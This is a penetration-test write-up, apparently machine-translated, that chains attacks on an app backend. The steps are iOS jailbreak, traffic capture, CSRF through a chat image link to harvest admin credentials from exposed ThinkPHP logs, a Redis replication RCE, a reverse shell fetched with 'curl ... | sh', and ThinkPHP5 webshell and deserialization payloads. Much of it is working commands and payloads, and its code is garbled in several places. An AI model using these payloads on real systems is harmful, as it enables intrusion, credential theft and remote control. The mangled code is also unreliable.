@TOC
Preface:
The author of this paper received an authorization penetration test task and needed to test the security of app back-end server with an APP as the entrance.
Stage 1: IOS jailbreak
After obtaining the corresponding authorization and downloading the designated app, we found there was a problem with the signature of the app, because the test machine I used could not install the above app. The test machine I used here was iphone6 ios 12.4.4, and the operating system of this version could not be jailbroken through common loopholes. And in the use of iTunes to ios downgrade also encountered very strange problems. The checkrain has been integrated into the Aixhelper so it is easy to jailbreak.
To use the Checkrain Jailbreak, switch the iPhone to DFU mode. The DFU mode is different from the ordinary recovery mode. At the beginning, there were many holes in the DFU mode. The specific switching mode can be obtained by Google.
The checkrain result is as follows.After refreshing the connection, we can see that the iPhone has been jailbroken:
After checkrain is successfully executed, an app named Checkrain will be installed on ios system. This app is the Loader of Cydia, through which we can download Cydia. Cydia allows us to expand the iPhone’s installation pool and install various applications. The server of Cydia is located abroad, and the installation speed in China is very slow, so it needs to wait for some time.
In Cydia, import a source called cydia.akemi. Ai (Japanese otaku: P) and after syncing, install a plugin called AppSync, which lets you install any app on your iPhone.
Finally, the APP is successfully installed.
Phase 2: IOS packet capture
So let’s use ios
The system’s own network proxy setup and redirects traffic to our Open BurpSuite on the same LAN. As shown below:
After the app is started, the following packets are caught:
http://test.example.com/show_url {" info ": 0," url ":" http://test2.example.com, "bt" : "test",}Copy the code
The backend site corresponding to this app is test2.example.com. After a simple probe, it is found that the backend of this app is using the ThinkPHP5 framework. Unfortunately, this website has fixed the Vulnerability of ThinkPHP5 RCE.
Phase 3: Background log information leakage and CSRF
After the data packets sent by the app are audited, the domain name admin.example.com is found. After blasting the path, the background login address is found: http://admin.exam…
After analysis, it is found that the station uses ThinkPHP 3.2.3 system. We can easily download to log, log is located at:
http://admin.example.com/Application/Runtime/Logs/houtai/20_02_01.log
Copy the code
However, the log has the following problems:
The log storage is limited, only about 1.5m logs can be stored. Without complete logs, ajax in the background is refreshing all the time, there is a lot of garbage data, and there is no login recordCopy the code
Therefore, we need to find a way to get the administrator to log in to the background again. In the app, we found the customer service chat module. In this module, we can send picture messages to the customer service, and the customer service will automatically load pictures when viewing the chat. The image message is submitted to the server as a link. As shown below.
POST /index/chat HTTP/1.1 Content-Type: application/json Content-Length: 314 Accept-encoding: Gzip, deflate {" content ":" HTTP: / / http:\/\/test2.example.com / / 1. PNG ", "type" : "code", "token", "aaaa"}Copy the code
Here, replace the image of the Content with our link to trigger the CSRF vulnerability when the background customer service visits. Based on experience, the login address of the background can be obtained by guessing:
admin.example.com/houtai/login/logout.html
Copy the code
As long as the link is sent to the server, customer service access can trigger the login operation. When the customer service logs in again, we can find their login credentials in the log. The final result looks like this:
SQL: SELECT * FROM admin WHERE username= 'admin' AND password= 'XXXXXXXXXXXXXXX'Copy the code
Unlock the MD5 value to log in to the background.
Stage 4: Background source templates and Redis
After logging in to the background, I explored and found no obvious vulnerability to getShell, so I turned to explore the template used in the background. Discover that the background is based on a background template development. Although there are great differences in the code, both of them use redis cache, and the redis password in the source code has not been modified, and the redis port 6379 is opened on the external network, through the redis password, we successfully logged in the redis service of the server.
Redis-cli -h admin.example.com
> auth [email protected]
OK
> keys *
Hello world!
Copy the code
Further, through the master-slave replication vulnerability, we obtained an interactive shell with root privileges.
Python3 redis-rce.py -r admin.example.com -l 8.8.8.8 -f.. /redis-rogue-server/exp.so -a [email protected]Copy the code
However, such a shell is very limited, so next we use TSH to bounce the real shell by downloading TSHD to the server and executing it.
One pitfall here is that the Linux version on the target server is very low, liBC version 2.20. TSHD compiled on our own server will not execute. In libc2.20, Linux kernel version 2.62 docker compiled and uploaded to execute.
Phase 5: Automate GetShell
The port of TSHD compiled in Docker is specified, which is not good for automatic getShell, so here we modify TSH to specify the listening port of TSH and the connecting port of TSHD. It is then compiled under Linux with different kernel and LIBC versions so that the corresponding version of TSHD can be downloaded on the target server with a single command and successfully unconnected.
After you access index.php with the specified port data, index.php compiles TSHD locally and returns the script that installed TSHD.
The Command side curl 8.8.8.8 / index. PHP data "port = 8888" | shCopy the code
Controller root@my: ~/autotsh# CD linux2.6.32_libc2.1.2/ root@my: / TSH cb 8888 Waiting for the server to connect.. Connected. [[email protected] /]# ls -al Total 1024Copy the code
After determining the idea of reverse connection, we used TMUX for more convenience.
So for each server, we can open a separate TMUX window and listen on the port, waiting for the shell to connect back. Then we attach to the TMUX window to get the server shell.
root@my: ~# tmux ls
0: 6 windows (created Fri Feb 7 11:11:11 2020) [204 x 51]
example.com: 1 window (created Fri Feb 11:11:11 2020) [204 x 51]
Copy the code
Add: thinkphp5 + disable functions + php7 getshell
During the infiltration, we also discovered that one of the servers was using the ThinkPHP5 environment and had vulnerabilities. Disable functions was enabled during exploit, which meant that the original system attack payloads were not available. In addition, the PHP version was PHP7, which indicated that we could not use dynamic Assert to getshell. Here we use the following two schemes for getShell, here we use the following two schemes for getshell:
1. Session manipulation + file inclusion
The idea of this method is derived from the following link: https://xz.aliyun.com/t/6106
In ThinkPHP5, there is a method called Think \Session::set that allows you to reference whatever is stored in the Session. In addition, thinkPHP5 also has a method called think__include_file that allows you to implement any file containing effect. Combining these two functions, we can obtain the system shell, and our attack payload is as follows:
Session manipulation attack payloads:
_method=__construct&method=get&filter[]=think\Session::set&get[]=<? PHP eval ($_POST [' x '])? >Copy the code
The file contains the attack payload:
_method=__construct&method=get&filter[]=think\__include_file&get[]=/tmp/sess_test&x=phpinfo();
Copy the code
We can successfully execute PHPInfo.
2. Thinkphp5 deserialization
In addition to the above methods, we can also use ThinkPHP5’s deserialization chain to implement RCE. The thinkphp5 chain structure can be used to refer to the following link: www.anquanke.com/post/id/196…
After a period of debugging, the payload for constructing the deserialization chain is as follows:
<? php$i=newthink\cache\driver\File(); $reflectionClass_6=newReflectionClass('think\cache\driver\File'); $reflectionProperty_6=$reflectionClass_6->getProperty('tag'); $reflectionProperty_6->setAccessible(true); $reflectionProperty_6->setValue($i,'admin'); $reflectionClass_6_2=newReflectionClass('think\cache\driver\File'); $reflectionProperty_6_2=$reflectionClass_6->getProperty('options'); $reflectionProperty_6_2->setAccessible(true); $reflectionProperty_6_2->setValue($i,array('path'=>'php://filter/write=string.rot13/resource=./<? cuc cucvasb(); ? >','cache_subdir'=>'','expire'=>0,'prefix'=>'','data_compress'=>false)); $h=newthink\session\driver\Memcached(); $reflectionClass_5=newReflectionClass('think\session\driver\Memcached'); $reflectionProperty_5=$reflectionClass_5->getProperty('handler'); $reflectionProperty_5->setAccessible(true); $reflectionProperty_5->setValue($h,$i); $g=newthink\console\Output(); $reflectionClass_4=newReflectionClass('think\console\Output'); $reflectionProperty_4=$reflectionClass_4->getProperty('styles'); $reflectionProperty_4->setAccessible(true); $reflectionProperty_4->setValue($g,['getAttr']); $reflectionProperty_4_2=$reflectionClass_4->getProperty('handle'); $reflectionProperty_4_2->setAccessible(true); $reflectionProperty_4_2->setValue($g,$h); $f=newthink\Model\Pivot(); $d = newthink, model, function, HasOne ($f $f, three, four, five); $reflectionClass_3=newReflectionClass('think\model\relation\HasOne'); $reflectionProperty_3=$reflectionClass_3->getProperty('bindAttr'); $reflectionProperty_3->setAccessible(true); $reflectionProperty_3->setValue($d,array('a'=>'b')); $reflectionProperty_3_2=$reflectionClass_3->getProperty('model'); $reflectionProperty_3_2->setAccessible(true); $reflectionProperty_3_2->setValue($d,'think\console\Output'); $c=newthink\Model\Pivot(); $reflectionClass_2=newReflectionClass('think\Model\Pivot'); $reflectionProperty_2=$reflectionClass_2->getProperty('append'); $reflectionProperty_2->setAccessible(true); $reflectionProperty_2->setValue($c,array('a'=>'getError')); $reflectionProperty_2_2=$reflectionClass_2->getProperty('error'); $reflectionProperty_2_2->setAccessible(true); $reflectionProperty_2_2->setValue($c,$d); $reflectionProperty_2_3=$reflectionClass_2->getProperty('parent'); $reflectionProperty_2_3->setAccessible(true); $reflectionProperty_2_3->setValue($c,$g); $a = newthink/Process/Pipes/Windows (1, 0); $reflectionClass=newReflectionClass('think\Process\Pipes\Windows'); $reflectionProperty=$reflectionClass->getProperty('files'); $reflectionProperty->setAccessible(true); $reflectionProperty->setValue($a,[$c]); var_dump($a); ? >Copy the code
The final constructed deserialization attack payload is as follows:
POST /index.php? S =index/index HTTP/1.1 Accept-Encoding: gzip, deflate Accept: */* Accept-language: en Content-type: application/x-www-form-urlencoded Content-Length: 17527 Cookie: PHPSESSID=test _method=__construct&method=get&filter[]=unserialize&get[]=2%4e%4f%54%20%4e%55%4c%4c%22%3b%73%3a%36%3a%22%3e%20%74%69%6d% 65%22%3b%73%3a%36%3a%22Copy the code
The final shell is generated in the web root directory. The specific file name is:
/<%3fcuc%20riny($_CBFG[222]); %3f>1f4a7d71e74e3047f143b38ab405a056.phpCopy the code
Note that the generated shell contains the following:
<? cuc //000000000000 rkvg(); ? > f:105:"cuc://svygre/jevgr=fgevat.ebg13/erfbhepr=./<? php eval($_POST[222]); ? >144r670517833r1320qp30802o8671p5.cucCopy the code
If the server supports short labels, the preceding label is a valid label, but because the code is an error code, 500 errors are reported. The shell cannot be exploited.
In general, we can modify the key parts of the attack payload as follows:
php://filter/write=3Dstring.strip_tags/string.strip_tags/convert.quoted-printable-decode/resource=3D=3c? phpeval($_POST[222]); ? =3eCopy the code
Multiple filters can be used to make the shell work. However, because an invalid filter is introduced, PHP emits a warning and throws a Call stack, at which point TP5 can no longer execute and will not generate the final shell. This is also a pity.